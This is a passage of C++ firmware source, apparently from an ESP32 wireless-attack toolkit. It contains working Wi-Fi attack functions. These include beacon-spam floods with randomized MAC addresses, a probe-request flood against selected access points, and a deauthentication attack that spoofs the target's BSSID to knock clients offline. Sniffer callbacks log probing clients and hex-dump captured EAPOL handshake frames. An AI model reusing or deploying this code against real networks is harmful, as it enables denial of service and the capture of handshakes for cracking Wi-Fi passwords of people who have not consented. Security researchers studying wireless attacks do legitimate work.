  1340. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1341. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1342. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1343. #ifdef HAS_SCREEN
  1344. int buf = display_obj.display_buffer->size();
  1345. #else
  1346. int buf = 0;
  1347. #endif
  1348. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1349. {
  1350. delay(random(0, 10));
  1351. Serial.print("RSSI: ");
  1352. Serial.print(snifferPacket->rx_ctrl.rssi);
  1353. Serial.print(" Ch: ");
  1354. Serial.print(snifferPacket->rx_ctrl.channel);
  1355. Serial.print(" BSSID: ");
  1356. char addr[] = "00:00:00:00:00:00";
  1357. getMAC(addr, snifferPacket->payload, 10);
  1358. Serial.print(addr);
  1359. display_string.concat(addr);
  1360. Serial.print(" ESSID: ");
  1361. display_string.concat(" -> ");
  1362. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1363. {
  1364. Serial.print((char)snifferPacket->payload[i + 38]);
  1365. display_string.concat((char)snifferPacket->payload[i + 38]);
  1366. }
  1367. int temp_len = display_string.length();
  1368. #ifdef HAS_SCREEN
  1369. for (int i = 0; i < 40 - temp_len; i++)
  1370. {
  1371. display_string.concat(" ");
  1372. }
  1373. Serial.print(" ");
  1374. if (display_obj.display_buffer->size() == 0)
  1375. {
  1376. display_obj.loading = true;
  1377. display_obj.display_buffer->add(display_string);
  1378. display_obj.loading = false;
  1379. }
  1380. #endif
  1381. Serial.println();
  1382. if (save_packet)
  1383. sd_obj.addPacket(snifferPacket->payload, len);
  1384. }
  1385. }
  1386. }
  1387. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1388. {
  1389. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1390. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1391. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1392. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1393. int len = snifferPacket->rx_ctrl.sig_len;
  1394. String display_string = "";
  1395. if (type == WIFI_PKT_MGMT)
  1396. {
  1397. len -= 4;
  1398. int fctl = ntohs(frameControl->fctl);
  1399. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1400. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1401. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1402. #ifdef HAS_SCREEN
  1403. int buf = display_obj.display_buffer->size();
  1404. #else
  1405. int buf = 0;
  1406. #endif
  1407. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1408. {
  1409. delay(random(0, 10));
  1410. Serial.print("RSSI: ");
  1411. Serial.print(snifferPacket->rx_ctrl.rssi);
  1412. Serial.print(" Ch: ");
  1413. Serial.print(snifferPacket->rx_ctrl.channel);
  1414. Serial.print(" BSSID: ");
  1415. char addr[] = "00:00:00:00:00:00";
  1416. getMAC(addr, snifferPacket->payload, 10);
  1417. Serial.print(addr);
  1418. display_string.concat(text_table4[0]);
  1419. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1420. display_string.concat(" ");
  1421. display_string.concat(addr);
  1422. #ifdef HAS_SCREEN
  1423. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1424. {
  1425. display_string.concat(" ");
  1426. }
  1427. Serial.print(" ");
  1428. if (display_obj.display_buffer->size() == 0)
  1429. {
  1430. display_obj.loading = true;
  1431. display_obj.display_buffer->add(display_string);
  1432. display_obj.loading = false;
  1433. }
  1434. #endif
  1435. Serial.println();
  1436. if (save_packet)
  1437. sd_obj.addPacket(snifferPacket->payload, len);
  1438. }
  1439. }
  1440. }
  1441. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1442. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1443. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1444. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1445. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1446. int len = snifferPacket->rx_ctrl.sig_len;
  1447. String display_string = "";
  1448. if (type == WIFI_PKT_MGMT)
  1449. {
  1450. len -= 4;
  1451. int fctl = ntohs(frameControl->fctl);
  1452. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1453. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1454. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1455. #ifdef HAS_SCREEN
  1456. int buf = display_obj.display_buffer->size();
  1457. #else
  1458. int buf = 0;
  1459. #endif
  1460. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1461. {
  1462. delay(random(0, 10));
  1463. Serial.print("RSSI: ");
  1464. Serial.print(snifferPacket->rx_ctrl.rssi);
  1465. Serial.print(" Ch: ");
  1466. Serial.print(snifferPacket->rx_ctrl.channel);
  1467. Serial.print(" Client: ");
  1468. char addr[] = "00:00:00:00:00:00";
  1469. getMAC(addr, snifferPacket->payload, 10);
  1470. Serial.print(addr);
  1471. display_string.concat(addr);
  1472. Serial.print(" Requesting: ");
  1473. display_string.concat(" -> ");
  1474. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1475. {
  1476. Serial.print((char)snifferPacket->payload[26 + i]);
  1477. display_string.concat((char)snifferPacket->payload[26 + i]);
  1478. }
  1479. // Print spaces because of the rotating lines of the hardware scroll.
  1480. // The same characters print from previous lines so I just overwrite them
  1481. // with spaces.
  1482. #ifdef HAS_SCREEN
  1483. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1484. {
  1485. display_string.concat(" ");
  1486. }
  1487. if (display_obj.display_buffer->size() == 0)
  1488. {
  1489. //while (display_obj.printing)
  1490. // delay(1);
  1491. display_obj.loading = true;
  1492. display_obj.display_buffer->add(display_string);
  1493. display_obj.loading = false;
  1494. }
  1495. #endif
  1496. Serial.println();
  1497. if (save_packet)
  1498. sd_obj.addPacket(snifferPacket->payload, len);
  1499. }
  1500. }
  1501. }
  1502. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1503. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1504. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1505. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1506. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1507. int len = snifferPacket->rx_ctrl.sig_len;
  1508. String display_string = "";
  1509. String essid = "";
  1510. bool found = false;
  1511. if (type == WIFI_PKT_MGMT)
  1512. {
  1513. len -= 4;
  1514. int fctl = ntohs(frameControl->fctl);
  1515. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1516. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1517. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1518. #ifdef HAS_SCREEN
  1519. int buf = display_obj.display_buffer->size();
  1520. #else
  1521. int buf = 0;
  1522. #endif
  1523. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1524. {
  1525. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1526. {
  1527. essid.concat((char)snifferPacket->payload[26 + i]);
  1528. }
  1529. for (int i = 0; i < ssids->size(); i++) {
  1530. if (ssids->get(i).essid == essid) {
  1531. Serial.println("Found a sheep");
  1532. found = true;
  1533. break;
  1534. }
  1535. }
  1536. if (!found)
  1537. return;
  1538. delay(random(0, 10));
  1539. Serial.print("RSSI: ");
  1540. Serial.print(snifferPacket->rx_ctrl.rssi);
  1541. Serial.print(" Ch: ");
  1542. Serial.print(snifferPacket->rx_ctrl.channel);
  1543. Serial.print(" Client: ");
  1544. char addr[] = "00:00:00:00:00:00";
  1545. getMAC(addr, snifferPacket->payload, 10);
  1546. Serial.print(addr);
  1547. display_string.concat(addr);
  1548. Serial.print(" Requesting: ");
  1549. display_string.concat(" -> ");
  1550. // ESSID
  1551. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1552. {
  1553. Serial.print((char)snifferPacket->payload[26 + i]);
  1554. display_string.concat((char)snifferPacket->payload[26 + i]);
  1555. }
  1556. // Print spaces because of the rotating lines of the hardware scroll.
  1557. // The same characters print from previous lines so I just overwrite them
  1558. // with spaces.
  1559. #ifdef HAS_SCREEN
  1560. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1561. {
  1562. display_string.concat(" ");
  1563. }
  1564. if (display_obj.display_buffer->size() == 0)
  1565. {
  1566. display_obj.loading = true;
  1567. display_obj.display_buffer->add(display_string);
  1568. display_obj.loading = false;
  1569. }
  1570. #endif
  1571. Serial.println();
  1572. if (save_packet)
  1573. sd_obj.addPacket(snifferPacket->payload, len);
  1574. }
  1575. }
  1576. }
  1577. /*
  1578. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1579. set_channel = random(1,12);
  1580. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1581. delay(1);
  1582. // Randomize SRC MAC
  1583. packet[10] = packet[16] = custom_ssid.bssid[0];
  1584. packet[11] = packet[17] = custom_ssid.bssid[1];
  1585. packet[12] = packet[18] = custom_ssid.bssid[2];
  1586. packet[13] = packet[19] = custom_ssid.bssid[3];
  1587. packet[14] = packet[20] = custom_ssid.bssid[4];
  1588. packet[15] = packet[21] = custom_ssid.bssid[5];
  1589. char ESSID[custom_ssid.essid.length() + 1] = {};
  1590. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1591. }*/
  1592. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1593. set_channel = random(1,12);
  1594. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1595. delay(1);
  1596. if (custom_ssid.beacon->size() == 0)
  1597. return;
  1598. // Randomize SRC MAC
  1599. // Randomize SRC MAC
  1600. packet[10] = packet[16] = random(256);
  1601. packet[11] = packet[17] = random(256);
  1602. packet[12] = packet[18] = random(256);
  1603. packet[13] = packet[19] = random(256);
  1604. packet[14] = packet[20] = random(256);
  1605. packet[15] = packet[21] = random(256);
  1606. char ESSID[custom_ssid.essid.length() + 1] = {};
  1607. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1608. int realLen = strlen(ESSID);
  1609. int ssidLen = random(realLen, 33);
  1610. int numSpace = ssidLen - realLen;
  1611. //int rand_len = sizeof(rand_reg);
  1612. int fullLen = ssidLen;
  1613. packet[37] = fullLen;
  1614. // Insert my tag
  1615. for(int i = 0; i < realLen; i++)
  1616. packet[38 + i] = ESSID[i];
  1617. for(int i = 0; i < numSpace; i++)
  1618. packet[38 + realLen + i] = 0x20;
  1619. /////////////////////////////
  1620. packet[50 + fullLen] = set_channel;
  1621. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1622. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1623. // Add everything that goes after the SSID
  1624. //for(int i = 0; i < 12; i++)
  1625. // packet[38 + fullLen + i] = postSSID[i];
  1626. packet[34] = custom_ssid.beacon->get(0);
  1627. packet[35] = custom_ssid.beacon->get(1);
  1628. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1629. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1630. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1631. packets_sent = packets_sent + 3;
  1632. }
  1633. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1634. set_channel = random(1,12);
  1635. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1636. delay(1);
  1637. // Randomize SRC MAC
  1638. packet[10] = packet[16] = custom_ssid.bssid[0];
  1639. packet[11] = packet[17] = custom_ssid.bssid[1];
  1640. packet[12] = packet[18] = custom_ssid.bssid[2];
  1641. packet[13] = packet[19] = custom_ssid.bssid[3];
  1642. packet[14] = packet[20] = custom_ssid.bssid[4];
  1643. packet[15] = packet[21] = custom_ssid.bssid[5];
  1644. char ESSID[custom_ssid.essid.length() + 1] = {};
  1645. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1646. int ssidLen = strlen(ESSID);
  1647. //int rand_len = sizeof(rand_reg);
  1648. int fullLen = ssidLen;
  1649. packet[37] = fullLen;
  1650. // Insert my tag
  1651. for(int i = 0; i < ssidLen; i++)
  1652. packet[38 + i] = ESSID[i];
  1653. /////////////////////////////
  1654. packet[50 + fullLen] = set_channel;
  1655. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1656. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1657. // Add everything that goes after the SSID
  1658. for(int i = 0; i < 12; i++)
  1659. packet[38 + fullLen + i] = postSSID[i];
  1660. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1661. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1662. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1663. packets_sent = packets_sent + 3;
  1664. }
  1665. // Function to send beacons with random ESSID length
  1666. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1667. set_channel = random(1,12);
  1668. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1669. delay(1);
  1670. // Randomize SRC MAC
  1671. packet[10] = packet[16] = random(256);
  1672. packet[11] = packet[17] = random(256);
  1673. packet[12] = packet[18] = random(256);
  1674. packet[13] = packet[19] = random(256);
  1675. packet[14] = packet[20] = random(256);
  1676. packet[15] = packet[21] = random(256);
  1677. int ssidLen = strlen(ESSID);
  1678. //int rand_len = sizeof(rand_reg);
  1679. int fullLen = ssidLen;
  1680. packet[37] = fullLen;
  1681. // Insert my tag
  1682. for(int i = 0; i < ssidLen; i++)
  1683. packet[38 + i] = ESSID[i];
  1684. /////////////////////////////
  1685. packet[50 + fullLen] = set_channel;
  1686. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1687. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1688. // Add everything that goes after the SSID
  1689. for(int i = 0; i < 12; i++)
  1690. packet[38 + fullLen + i] = postSSID[i];
  1691. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1692. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1693. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1694. packets_sent = packets_sent + 3;
  1695. }
  1696. // Function for sending crafted beacon frames
  1697. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1698. set_channel = random(1,12);
  1699. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1700. delay(1);
  1701. // Randomize SRC MAC
  1702. packet[10] = packet[16] = random(256);
  1703. packet[11] = packet[17] = random(256);
  1704. packet[12] = packet[18] = random(256);
  1705. packet[13] = packet[19] = random(256);
  1706. packet[14] = packet[20] = random(256);
  1707. packet[15] = packet[21] = random(256);
  1708. packet[37] = 6;
  1709. // Randomize SSID (Fixed size 6. Lazy right?)
  1710. packet[38] = alfa[random(65)];
  1711. packet[39] = alfa[random(65)];
  1712. packet[40] = alfa[random(65)];
  1713. packet[41] = alfa[random(65)];
  1714. packet[42] = alfa[random(65)];
  1715. packet[43] = alfa[random(65)];
  1716. packet[56] = set_channel;
  1717. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1718. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1719. // Add everything that goes after the SSID
  1720. for(int i = 0; i < 12; i++)
  1721. packet[38 + 6 + i] = postSSID[i];
  1722. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1723. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1724. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1725. packets_sent = packets_sent + 3;
  1726. }
  1727. // Function to send probe flood to all "active" access points
  1728. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1729. // Itterate through all access points in list
  1730. for (int i = 0; i < access_points->size(); i++) {
  1731. // Check if active
  1732. if (access_points->get(i).selected) {
  1733. this->set_channel = access_points->get(i).channel;
  1734. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1735. delay(1);
  1736. // Build packet
  1737. // Randomize SRC MAC
  1738. prob_req_packet[10] = random(256);
  1739. prob_req_packet[11] = random(256);
  1740. prob_req_packet[12] = random(256);
  1741. prob_req_packet[13] = random(256);
  1742. prob_req_packet[14] = random(256);
  1743. prob_req_packet[15] = random(256);
  1744. // Set SSID length
  1745. int ssidLen = access_points->get(i).essid.length();
  1746. //int rand_len = sizeof(rand_reg);
  1747. int fullLen = ssidLen;
  1748. prob_req_packet[25] = fullLen;
  1749. // Insert ESSID
  1750. char buf[access_points->get(i).essid.length() + 1] = {};
  1751. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1752. for(int i = 0; i < ssidLen; i++)
  1753. prob_req_packet[26 + i] = buf[i];
  1754. /*
  1755. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1756. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1757. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1758. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1759. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1760. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1761. 0x00, 0x00
  1762. */
  1763. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1764. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1765. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1766. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1767. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1768. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1769. 0x00, 0x00, 0x00, 0x00};
  1770. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1771. for (int i = 0; i < 26 + fullLen; i++)
  1772. good_probe_req_packet[i] = prob_req_packet[i];
  1773. for(int i = 0; i < 40; i++)
  1774. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1775. // Send packet
  1776. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1777. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1778. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1779. packets_sent = packets_sent + 3;
  1780. }
  1781. }
  1782. }
  1783. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1784. // Itterate through all access points in list
  1785. for (int i = 0; i < access_points->size(); i++) {
  1786. // Check if active
  1787. if (access_points->get(i).selected) {
  1788. this->set_channel = access_points->get(i).channel;
  1789. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1790. delay(1);
  1791. // Build packet
  1792. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1793. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1794. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1795. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1796. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1797. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1798. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1799. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1800. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1801. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1802. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1803. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1804. // Send packet
  1805. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1806. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1807. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1808. packets_sent = packets_sent + 3;
  1809. }
  1810. }
  1811. }
  1812. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1813. {
  1814. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1815. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1816. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1817. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1818. int len = snifferPacket->rx_ctrl.sig_len;
  1819. if (type == WIFI_PKT_MGMT)
  1820. {
  1821. len -= 4;
  1822. int fctl = ntohs(frameControl->fctl);
  1823. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1824. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1825. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1826. if (snifferPacket->payload[0] == 0x80)
  1827. {
  1828. num_beacon++;
  1829. }
  1830. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1831. {
  1832. num_deauth++;
  1833. }
  1834. else if (snifferPacket->payload[0] == 0x40)
  1835. {
  1836. num_probe++;
  1837. }
  1838. if (save_packet)
  1839. sd_obj.addPacket(snifferPacket->payload, len);
  1840. }
  1841. }
  1842. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1843. {
  1844. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1845. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1846. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1847. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1848. int len = snifferPacket->rx_ctrl.sig_len;
  1849. if (type == WIFI_PKT_MGMT)
  1850. {
  1851. len -= 4;
  1852. int fctl = ntohs(frameControl->fctl);
  1853. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1854. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1855. }
  1856. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1857. num_eapol++;
  1858. Serial.println("Received EAPOL:");
  1859. for (int i = 0; i < len; i++) {
  1860. char hexCar[4];
  1861. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1862. Serial.print(hexCar);
  1863. //Serial.print(snifferPacket->payload[i], HEX);
  1864. if ((i + 1) % 16 == 0)
  1865. Serial.print("\n");
  1866. else
  1867. Serial.print(" ");
  1868. }
  1869. Serial.print("\n");
  1870. }
  1871. if (save_packet)
  1872. sd_obj.addPacket(snifferPacket->payload, len);
  1873. }
  1874. #ifdef HAS_SCREEN
  1875. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1876. {
  1877. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1878. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1879. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1880. {
  1881. currentTime = millis();
  1882. do_break = false;
  1883. y_pos_x = 0;
  1884. y_pos_y = 0;
  1885. y_pos_z = 0;
  1886. boolean pressed = false;
  1887. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1888. // Do the touch stuff
  1889. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1890. if (pressed) {
  1891. Serial.print("Got touch | X: ");
  1892. Serial.print(t_x);
  1893. Serial.print(" Y: ");
  1894. Serial.println(t_y);
  1895. }
  1896. // Check buttons for presses
  1897. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1898. {
  1899. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1900. {
  1901. display_obj.key[b].press(true);
  1902. } else {
  1903. display_obj.key[b].press(false);
  1904. }
  1905. }
  1906. // Which buttons pressed
  1907. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1908. {
  1909. if (display_obj.key[b].justPressed())
  1910. {
  1911. Serial.println("Bro, key pressed");
  1912. //do_break = true;
  1913. }
  1914. if (display_obj.key[b].justReleased())
  1915. {
  1916. do_break = true;
  1917. // Channel - button pressed
  1918. if (b == 4) {
  1919. if (set_channel > 1) {
  1920. Serial.println("Shit channel down");
  1921. set_channel--;
  1922. delay(70);
  1923. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1924. //display_obj.tftDrawXScaleButtons(x_scale);
  1925. //display_obj.tftDrawYScaleButtons(y_scale);
  1926. display_obj.tftDrawChannelScaleButtons(set_channel);
  1927. display_obj.tftDrawExitScaleButtons();
  1928. changeChannel();
  1929. break;
  1930. }
  1931. }
  1932. // Channel + button pressed
  1933. else if (b == 5) {
  1934. if (set_channel < MAX_CHANNEL) {
  1935. Serial.println("Shit channel up");
  1936. set_channel++;
  1937. delay(70);
  1938. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1939. //display_obj.tftDrawXScaleButtons(x_scale);
  1940. //display_obj.tftDrawYScaleButtons(y_scale);
  1941. display_obj.tftDrawChannelScaleButtons(set_channel);
  1942. display_obj.tftDrawExitScaleButtons();
  1943. changeChannel();
  1944. break;
  1945. }
  1946. }
  1947. else if (b == 6) {
  1948. Serial.println("Exiting packet monitor...");
  1949. this->StartScan(WIFI_SCAN_OFF);
  1950. //display_obj.tft.init();
  1951. this->orient_display = true;
  1952. return;
  1953. }
  1954. }
  1955. }
  1956. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  1957. //Serial.println("-----------------------------------------");
  1958. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  1959. x_pos += x_scale;
  1960. initTime = millis();
  1961. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  1962. if (y_pos_x >= HEIGHT_1) {
  1963. Serial.println("Max EAPOL number reached. Adjusting...");
  1964. num_eapol = 0;
  1965. }
  1966. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  1967. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  1968. //Serial.println("num_beacon: " + (String)num_beacon);
  1969. //Serial.println("num_deauth: " + (String)num_deauth);
  1970. //Serial.println(" num_probe: " + (String)num_probe);
  1971. //num_beacon = 0;
  1972. //num_probe = 0;
  1973. //num_deauth = 0;
  1974. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  1975. //Plot "X" value
  1976. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  1977. //Plot "Z" value
  1978. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  1979. //Plot "Y" value
  1980. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  1981. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  1982. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  1983. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  1984. {
  1985. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  1986. }
  1987. else
  1988. {
  1989. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  1990. }
  1991. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  1992. //if (x_pos <= 90)
  1993. if (x_pos < 0) // below x axis
  1994. {
  1995. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  1996. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  1997. }
  1998. else
  1999. {
  2000. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2001. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2002. }
  2003. //tftDisplayTime();
